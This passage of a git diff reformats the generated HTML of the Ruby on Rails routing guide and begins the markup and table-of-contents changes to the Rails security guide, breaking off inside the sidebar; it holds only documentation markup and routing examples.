-<div class="para"><p>By default, Rails recognizes <tt>html</tt>, <tt>text</tt>, <tt>json</tt>, <tt>csv</tt>, <tt>xml</tt>, <tt>rss</tt>, <tt>atom</tt>, and <tt>yaml</tt> as acceptable response types. If you need types beyond this, you can register them in your environment:</p></div>
+<div class="paragraph"><p>By default, Rails recognizes <tt>html</tt>, <tt>text</tt>, <tt>json</tt>, <tt>csv</tt>, <tt>xml</tt>, <tt>rss</tt>, <tt>atom</tt>, and <tt>yaml</tt> as acceptable response types. If you need types beyond this, you can register them in your environment:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>Mime<span style="color: #990000">::</span>Type<span style="color: #990000">.</span>register <span style="color: #FF0000">"image/jpg"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>jpg
-</tt></pre></div></div>
+<pre><tt>Mime<span style="color: #990000">::</span>Type<span style="color: #990000">.</span>register <span style="color: #FF0000">"image/jpg"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>jpg</tt></pre></div></div>
</div>
<h2 id="_the_default_routes">6. The Default Routes</h2>
<div class="sectionbody">
-<div class="para"><p>When you create a new Rails application, <tt>routes.rb</tt> is initialized with two default routes:</p></div>
+<div class="paragraph"><p>When you create a new Rails application, <tt>routes.rb</tt> is initialized with two default routes:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span>
-map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id.:format'</span>
-</tt></pre></div></div>
-<div class="para"><p>These routes provide reasonable defaults for many URLs, if you're not using RESTful routing.</p></div>
+map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id.:format'</span></tt></pre></div></div>
+<div class="paragraph"><p>These routes provide reasonable defaults for many URLs, if you&#8217;re not using RESTful routing.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
-<td class="content">The default routes will make every action of every controller in your application accessible to GET requests. If you've designed your application to make consistent use of RESTful and named routes, you should comment out the default routes to prevent access to your controllers through the wrong verbs. If you've had the default routes enabled during development, though, you need to be sure that you haven't unwittingly depended on them somewhere in your application - otherwise you may find mysterious failures when you disable them.</td>
+<td class="content">The default routes will make every action of every controller in your application accessible to GET requests. If you&#8217;ve designed your application to make consistent use of RESTful and named routes, you should comment out the default routes to prevent access to your controllers through the wrong verbs. If you&#8217;ve had the default routes enabled during development, though, you need to be sure that you haven&#8217;t unwittingly depended on them somewhere in your application - otherwise you may find mysterious failures when you disable them.</td>
</tr></table>
</div>
</div>
<h2 id="_the_empty_route">7. The Empty Route</h2>
<div class="sectionbody">
-<div class="para"><p>Don't confuse the default routes with the empty route. The empty route has one specific purpose: to route requests that come in to the root of the web site. For example, if your site is example.com, then requests to <tt>http://example.com</tt> or <tt>http://example.com/</tt> will be handled by the empty route.</p></div>
+<div class="paragraph"><p>Don&#8217;t confuse the default routes with the empty route. The empty route has one specific purpose: to route requests that come in to the root of the web site. For example, if your site is example.com, then requests to <tt>http://example.com</tt> or <tt>http://example.com/</tt> will be handled by the empty route.</p></div>
<h3 id="_using_map_root">7.1. Using map.root</h3>
-<div class="para"><p>The preferred way to set up the empty route is with the <tt>map.root</tt> command:</p></div>
+<div class="paragraph"><p>The preferred way to set up the empty route is with the <tt>map.root</tt> command:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>root <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"pages"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"main"</span>
-</tt></pre></div></div>
-<div class="para"><p>The use of the <tt>root</tt> method tells Rails that this route applies to requests for the root of the site.</p></div>
-<div class="para"><p>For better readability, you can specify an already-created route in your call to <tt>map.root</tt>:</p></div>
+<pre><tt>map<span style="color: #990000">.</span>root <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"pages"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"main"</span></tt></pre></div></div>
+<div class="paragraph"><p>The use of the <tt>root</tt> method tells Rails that this route applies to requests for the root of the site.</p></div>
+<div class="paragraph"><p>For better readability, you can specify an already-created route in your call to <tt>map.root</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>map<span style="color: #990000">.</span>index <span style="color: #FF0000">'index'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"pages"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"main"</span>
-map<span style="color: #990000">.</span>root <span style="color: #990000">:</span>index
-</tt></pre></div></div>
-<div class="para"><p>Because of the top-down processing of the file, the named route must be specified <em>before</em> the call to <tt>map.root</tt>.</p></div>
+map<span style="color: #990000">.</span>root <span style="color: #990000">:</span>index</tt></pre></div></div>
+<div class="paragraph"><p>Because of the top-down processing of the file, the named route must be specified <em>before</em> the call to <tt>map.root</tt>.</p></div>
<h3 id="_connecting_the_empty_string">7.2. Connecting the Empty String</h3>
-<div class="para"><p>You can also specify an empty route by explicitly connecting the empty string:</p></div>
+<div class="paragraph"><p>You can also specify an empty route by explicitly connecting the empty string:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">''</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"pages"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"main"</span>
-</tt></pre></div></div>
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">''</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"pages"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"main"</span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -2080,10 +1463,10 @@ http://www.gnu.org/software/src-highlite -->
</div>
<h2 id="_inspecting_and_testing_routes">8. Inspecting and Testing Routes</h2>
<div class="sectionbody">
-<div class="para"><p>Routing in your application should not be a "black box" that you never open. Rails offers built-in tools for both inspecting and testing routes.</p></div>
+<div class="paragraph"><p>Routing in your application should not be a "black box" that you never open. Rails offers built-in tools for both inspecting and testing routes.</p></div>
<h3 id="_seeing_existing_routes_with_rake">8.1. Seeing Existing Routes with rake</h3>
-<div class="para"><p>If you want a complete list of all of the available routes in your application, run the <tt>rake routes</tt> command. This will dump all of your routes to the console, in the same order that they appear in <tt>routes.rb</tt>. For each route, you'll see:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>If you want a complete list of all of the available routes in your application, run the <tt>rake routes</tt> command. This will dump all of your routes to the console, in the same order that they appear in <tt>routes.rb</tt>. For each route, you&#8217;ll see:</p></div>
+<div class="ulist"><ul>
<li>
<p>
The route name (if any)
@@ -2091,7 +1474,7 @@ The route name (if any)
</li>
<li>
<p>
-The HTTP verb used (if the route doesn't respond to all verbs)
+The HTTP verb used (if the route doesn&#8217;t respond to all verbs)
</p>
</li>
<li>
@@ -2105,7 +1488,7 @@ The routing parameters that will be generated by this URL
</p>
</li>
</ul></div>
-<div class="para"><p>For example, here's a small section of the <tt>rake routes</tt> output for a RESTful route:</p></div>
+<div class="paragraph"><p>For example, here&#8217;s a small section of the <tt>rake routes</tt> output for a RESTful route:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt> users GET /users {:controller=&gt;"users", :action=&gt;"index"}
@@ -2118,12 +1501,12 @@ formatted_users GET /users.:format {:controller=&gt;"users", :action=&gt;"inde
<td class="icon">
<img src="./images/icons/tip.png" alt="Tip" />
</td>
-<td class="content">You'll find that the output from <tt>rake routes</tt> is much more readable if you widen your terminal window until the output lines don't wrap.</td>
+<td class="content">You&#8217;ll find that the output from <tt>rake routes</tt> is much more readable if you widen your terminal window until the output lines don&#8217;t wrap.</td>
</tr></table>
</div>
<h3 id="_testing_routes">8.2. Testing Routes</h3>
-<div class="para"><p>Routes should be included in your testing strategy (just like the rest of your application). Rails offers three <a href="http://api.rubyonrails.com/classes/ActionController/Assertions/RoutingAssertions.html">built-in assertions</a> designed to make testing routes simpler:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Routes should be included in your testing strategy (just like the rest of your application). Rails offers three <a href="http://api.rubyonrails.com/classes/ActionController/Assertions/RoutingAssertions.html">built-in assertions</a> designed to make testing routes simpler:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>assert_generates</tt>
@@ -2141,54 +1524,49 @@ formatted_users GET /users.:format {:controller=&gt;"users", :action=&gt;"inde
</li>
</ul></div>
<h4 id="_the_tt_assert_generates_tt_assertion">8.2.1. The <tt>assert_generates</tt> Assertion</h4>
-<div class="para"><p>Use <tt>assert_generates</tt> to assert that a particular set of options generate a particular path. You can use this with default routes or custom routes</p></div>
+<div class="paragraph"><p>Use <tt>assert_generates</tt> to assert that a particular set of options generate a particular path. You can use this with default routes or custom routes</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>assert_generates <span style="color: #FF0000">"/photos/1"</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"show"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"1"</span> <span style="color: #FF0000">}</span>
-assert_generates <span style="color: #FF0000">"/about"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"pages"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"about"</span>
-</tt></pre></div></div>
+assert_generates <span style="color: #FF0000">"/about"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"pages"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"about"</span></tt></pre></div></div>
<h4 id="_the_tt_assert_recognizes_tt_assertion">8.2.2. The <tt>assert_recognizes</tt> Assertion</h4>
-<div class="para"><p>The <tt>assert_recognizes</tt> assertion is the inverse of <tt>assert_generates</tt>. It asserts that Rails recognizes the given path and routes it to a particular spot in your application.</p></div>
+<div class="paragraph"><p>The <tt>assert_recognizes</tt> assertion is the inverse of <tt>assert_generates</tt>. It asserts that Rails recognizes the given path and routes it to a particular spot in your application.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>assert_recognizes <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"show"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"1"</span> <span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">"/photos/1"</span>
-</tt></pre></div></div>
-<div class="para"><p>You can supply a <tt>:method</tt> argument to specify the HTTP verb:</p></div>
+<pre><tt>assert_recognizes <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"show"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"1"</span> <span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">"/photos/1"</span></tt></pre></div></div>
+<div class="paragraph"><p>You can supply a <tt>:method</tt> argument to specify the HTTP verb:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>assert_recognizes <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"create"</span> <span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>path <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>post <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-<div class="para"><p>You can also use the RESTful helpers to test recognition of a RESTful route:</p></div>
+<pre><tt>assert_recognizes <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"create"</span> <span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>path <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>post <span style="color: #FF0000">}</span></tt></pre></div></div>
+<div class="paragraph"><p>You can also use the RESTful helpers to test recognition of a RESTful route:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>assert_recognizes new_photo_url<span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>path <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>post <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
+<pre><tt>assert_recognizes new_photo_url<span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>path <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>post <span style="color: #FF0000">}</span></tt></pre></div></div>
<h4 id="_the_tt_assert_routing_tt_assertion">8.2.3. The <tt>assert_routing</tt> Assertion</h4>
-<div class="para"><p>The <tt>assert_routing</tt> assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of <tt>assert_generates</tt> and <tt>assert_recognizes</tt>.</p></div>
+<div class="paragraph"><p>The <tt>assert_routing</tt> assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of <tt>assert_generates</tt> and <tt>assert_recognizes</tt>.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>assert_routing <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>path <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>post <span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"create"</span> <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
+<pre><tt>assert_routing <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>path <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>post <span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"create"</span> <span style="color: #FF0000">}</span></tt></pre></div></div>
</div>
<h2 id="_changelog">9. Changelog</h2>
<div class="sectionbody">
-<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/3">Lighthouse ticket</a></p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/3">Lighthouse ticket</a></p></div>
+<div class="ulist"><ul>
<li>
<p>
October 4, 2008: Added additional detail on specifying verbs for resource member/collection routes , by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
@@ -2207,7 +1585,7 @@ September 10, 2008: initial version by <a href="../authors.html#mgunderloy">Mike
</ul></div>
</div>
- </div>
- </div>
+ </div>
+ </div>
</body>
</html>
diff --git a/railties/doc/guides/html/security.html b/railties/doc/guides/html/security.html
index 390efb5435..371decda64 100644
--- a/railties/doc/guides/html/security.html
+++ b/railties/doc/guides/html/security.html
@@ -1,328 +1,160 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Ruby On Rails Security Guide</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
- <style type="text/css">
- div#container {
- max-width: 900px;
- padding-bottom: 3em;
-}
-
-div#content {
- margin-left: 200px;
-}
-
-div#container.notoc {
- max-width: 600px;
-}
-
-.notoc div#content {
- margin-left: 0;
-}
-
-pre {
- line-height: 1.4em;
-}
-
-#content p tt {
- background: #eeeeee;
- border: solid 1px #cccccc;
- padding: 3px;
-}
-
-dt {
- font-weight: bold;
-}
-
-#content dt tt {
- font-size: 10pt;
-}
-
-dd {
- margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
- background: none;
- padding: 0;
- border: 0;
-}
-
-#content .olist ol {
- margin-left: 2em;
-}
-
-#header {
- position: relative;
- max-width: 840px;
- margin-left: auto;
- margin-right: auto;
-}
-
-#header.notoc {
- max-width: 580px;
-}
-
-#logo {
- position: absolute;
- left: 10px;
- top: 10px;
- width: 110px;
- height: 140px;
-}
-
-div#header h1#site_title {
- background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
- position: absolute;
- width: 392px;
- height: 55px;
- left: 145px;
- top: 20px;
- margin: 0;
- padding: 0;
-}
-
-#site_title span {
- display: none;
-}
-
-#site_title_tagline {
- display: none;
-}
-
-ul#navMain {
- position: absolute;
- margin: 0;
- padding: 0;
- top: 97px;
- left: 145px;
-}
-
-.left-floaty, .right-floaty {
- padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
- margin-left: 1em;
- margin-right: 1em;
- margin-top: 0.25em;
- margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
- padding-right: 8px;
-}
-
-.admonitionblock .content {
- border: solid 1px #ffda78;
- background: #fffebd;
- padding: 10px;
- padding-top: 8px;
- padding-bottom: 8px;
-}
-
-.admonitionblock .title {
- font-size: 140%;
- margin-bottom: 0.5em;
-}
-
-.tableblock table {
- border: solid 1px #aaaaff;
- background: #f0f0ff;
-}
-
-.tableblock th {
- background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
- padding: 3px;
- padding-left: 5px;
- padding-right: 5px;
-}
-
-.sidebarblock {
- margin-top: 0.25em;
- margin: 1em;
- border: solid 1px #ccccbb;
- padding: 8px;
- background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
- font-size: 140%;
- font-weight: 600;
- margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
- margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
- text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
- text-decoration: underline;
-}
-
- </style>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <title>Ruby On Rails Security Guide</title>
+ <!--[if lt IE 8]>
+ <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+ <![endif]-->
+ <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
</head>
<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+ <div id="header" >
+ <div id="logo">
+ <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+ </div>
+
+ <h1 id="site_title"><span>Ruby on Rails</span></h1>
+ <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
+ <ul id="navMain">
+ <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+ <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+ </ul>
+ </div>
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_introduction">Introduction</a>
- </li>
- <li>
- <a href="#_sessions">Sessions</a>
- <ul>
-
- <li><a href="#_what_are_sessions">What are sessions?</a></li>
-
- <li><a href="#_session_id">Session id</a></li>
-
- <li><a href="#_session_hijacking">Session hijacking</a></li>
-
- <li><a href="#_session_guidelines">Session guidelines</a></li>
-
- <li><a href="#_session_storage">Session storage</a></li>
-
- <li><a href="#_replay_attacks_for_cookiestore_sessions">Replay attacks for CookieStore sessions</a></li>
-
- <li><a href="#_session_fixation">Session fixation</a></li>
-
- <li><a href="#_session_fixation_countermeasures">Session fixation – Countermeasures</a></li>
-
- <li><a href="#_session_expiry">Session expiry</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_cross_site_reference_forgery_csrf">Cross-Site Reference Forgery (CSRF)</a>
- <ul>
-
- <li><a href="#_csrf_countermeasures">CSRF Countermeasures</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_redirection_and_files">Redirection and Files</a>
- <ul>
-
- <li><a href="#_redirection">Redirection</a></li>
-
- <li><a href="#_file_uploads">File uploads</a></li>
-
- <li><a href="#_executable_code_in_file_uploads">Executable code in file uploads</a></li>
-
- <li><a href="#_file_downloads">File downloads</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_intranet_and_admin_security">Intranet and Admin security</a>
- <ul>
-
- <li><a href="#_additional_precautions">Additional precautions</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_mass_assignment">Mass assignment</a>
- <ul>
-
- <li><a href="#_countermeasures">Countermeasures</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_user_management">User management</a>
- <ul>
-
- <li><a href="#_brute_forcing_accounts">Brute-forcing accounts</a></li>
-
- <li><a href="#_account_hijacking">Account hijacking</a></li>
-
- <li><a href="#_captchas">CAPTCHAs</a></li>
-
- <li><a href="#_logging">Logging</a></li>
-
- <li><a href="#_good_passwords">Good passwords</a></li>
-
- <li><a href="#_regular_expressions">Regular expressions</a></li>
-
- <li><a href="#_privilege_escalation">Privilege escalation</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_injection">Injection</a>
- <ul>
-
- <li><a href="#_whitelists_versus_blacklists">Whitelists versus Blacklists</a></li>
-
- <li><a href="#_sql_injection">SQL Injection</a></li>
-
- <li><a href="#_cross_site_scripting_xss">Cross-Site Scripting (XSS)</a></li>
-
- <li><a href="#_css_injection">CSS Injection</a></li>
-
- <li><a href="#_textile_injection">Textile Injection</a></li>
-
- <li><a href="#_ajax_injection">Ajax Injection</a></li>
-
- <li><a href="#_rjs_injection">RJS Injection</a></li>
-
- <li><a href="#_command_line_injection">Command Line Injection</a></li>
-
- <li><a href="#_header_injection">Header Injection</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_additional_resources">Additional resources</a>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Ruby On Rails Security Guide</h1>
- <div id="preamble">
+ <div id="container">
+
+ <div id="sidebar">
+ <h2>Chapters</h2>
+ <ol>
+ <li>
+ <a href="#_introduction">Introduction</a>
+ </li>
+ <li>
+ <a href="#_sessions">Sessions</a>
+ <ul>
+
+ <li><a href="#_what_are_sessions">What are sessions?</a></li>
+
+ <li><a href="#_session_id">Session id</a></li>
+
+ <li><a href="#_session_hijacking">Session hijacking</a></li>
+
+ <li><a href="#_session_guidelines">Session guidelines</a></li>
+
+ <li><a href="#_session_storage">Session storage</a></li>
+
+ <li><a href="#_replay_attacks_for_cookiestore_sessions">Replay attacks for CookieStore sessions</a></li>
+
+ <li><a href="#_session_fixation">Session fixation</a></li>
+
+ <li><a href="#_session_fixation_countermeasures">Session fixation – Countermeasures</a></li>
+
+ <li><a href="#_session_expiry">Session expiry</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_cross_site_reference_forgery_csrf">Cross-Site Reference Forgery (CSRF)</a>
+ <ul>
+
+ <li><a href="#_csrf_countermeasures">CSRF Countermeasures</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_redirection_and_files">Redirection and Files</a>
+ <ul>
+
+ <li><a href="#_redirection">Redirection</a></li>
+
+ <li><a href="#_file_uploads">File uploads</a></li>
+
+ <li><a href="#_executable_code_in_file_uploads">Executable code in file uploads</a></li>
+
+ <li><a href="#_file_downloads">File downloads</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_intranet_and_admin_security">Intranet and Admin security</a>
+ <ul>
+
+ <li><a href="#_additional_precautions">Additional precautions</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_mass_assignment">Mass assignment</a>
+ <ul>
+
+ <li><a href="#_countermeasures">Countermeasures</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_user_management">User management</a>
+ <ul>
+
+ <li><a href="#_brute_forcing_accounts">Brute-forcing accounts</a></li>
+
+ <li><a href="#_account_hijacking">Account hijacking</a></li>
+
+ <li><a href="#_captchas">CAPTCHAs</a></li>
+
+ <li><a href="#_logging">Logging</a></li>
+
+ <li><a href="#_good_passwords">Good passwords</a></li>
+
+ <li><a href="#_regular_expressions">Regular expressions</a></li>
+
+ <li><a href="#_privilege_escalation">Privilege escalation</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_injection">Injection</a>
+ <ul>
+
+ <li><a href="#_whitelists_versus_blacklists">Whitelists versus Blacklists</a></li>
+
+ <li><a href="#_sql_injection">SQL Injection</a></li>
+
+ <li><a href="#_cross_site_scripting_xss">Cross-Site Scripting (XSS)</a></li>
+
+ <li><a href="#_css_injection">CSS Injection</a></li>
+
+ <li><a href="#_textile_injection">Textile Injection</a></li>
+
+ <li><a href="#_ajax_injection">Ajax Injection</a></li>
+
+ <li><a href="#_rjs_injection">RJS Injection</a></li>
+
+ <li><a href="#_command_line_injection">Command Line Injection</a></li>
+
+ <li><a href="#_header_injection">Header Injection</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_additional_resources">Additional resources</a>
+ </li>
+ <li>
+ <a href="#_changelog">Changelog</a>
+ </li>
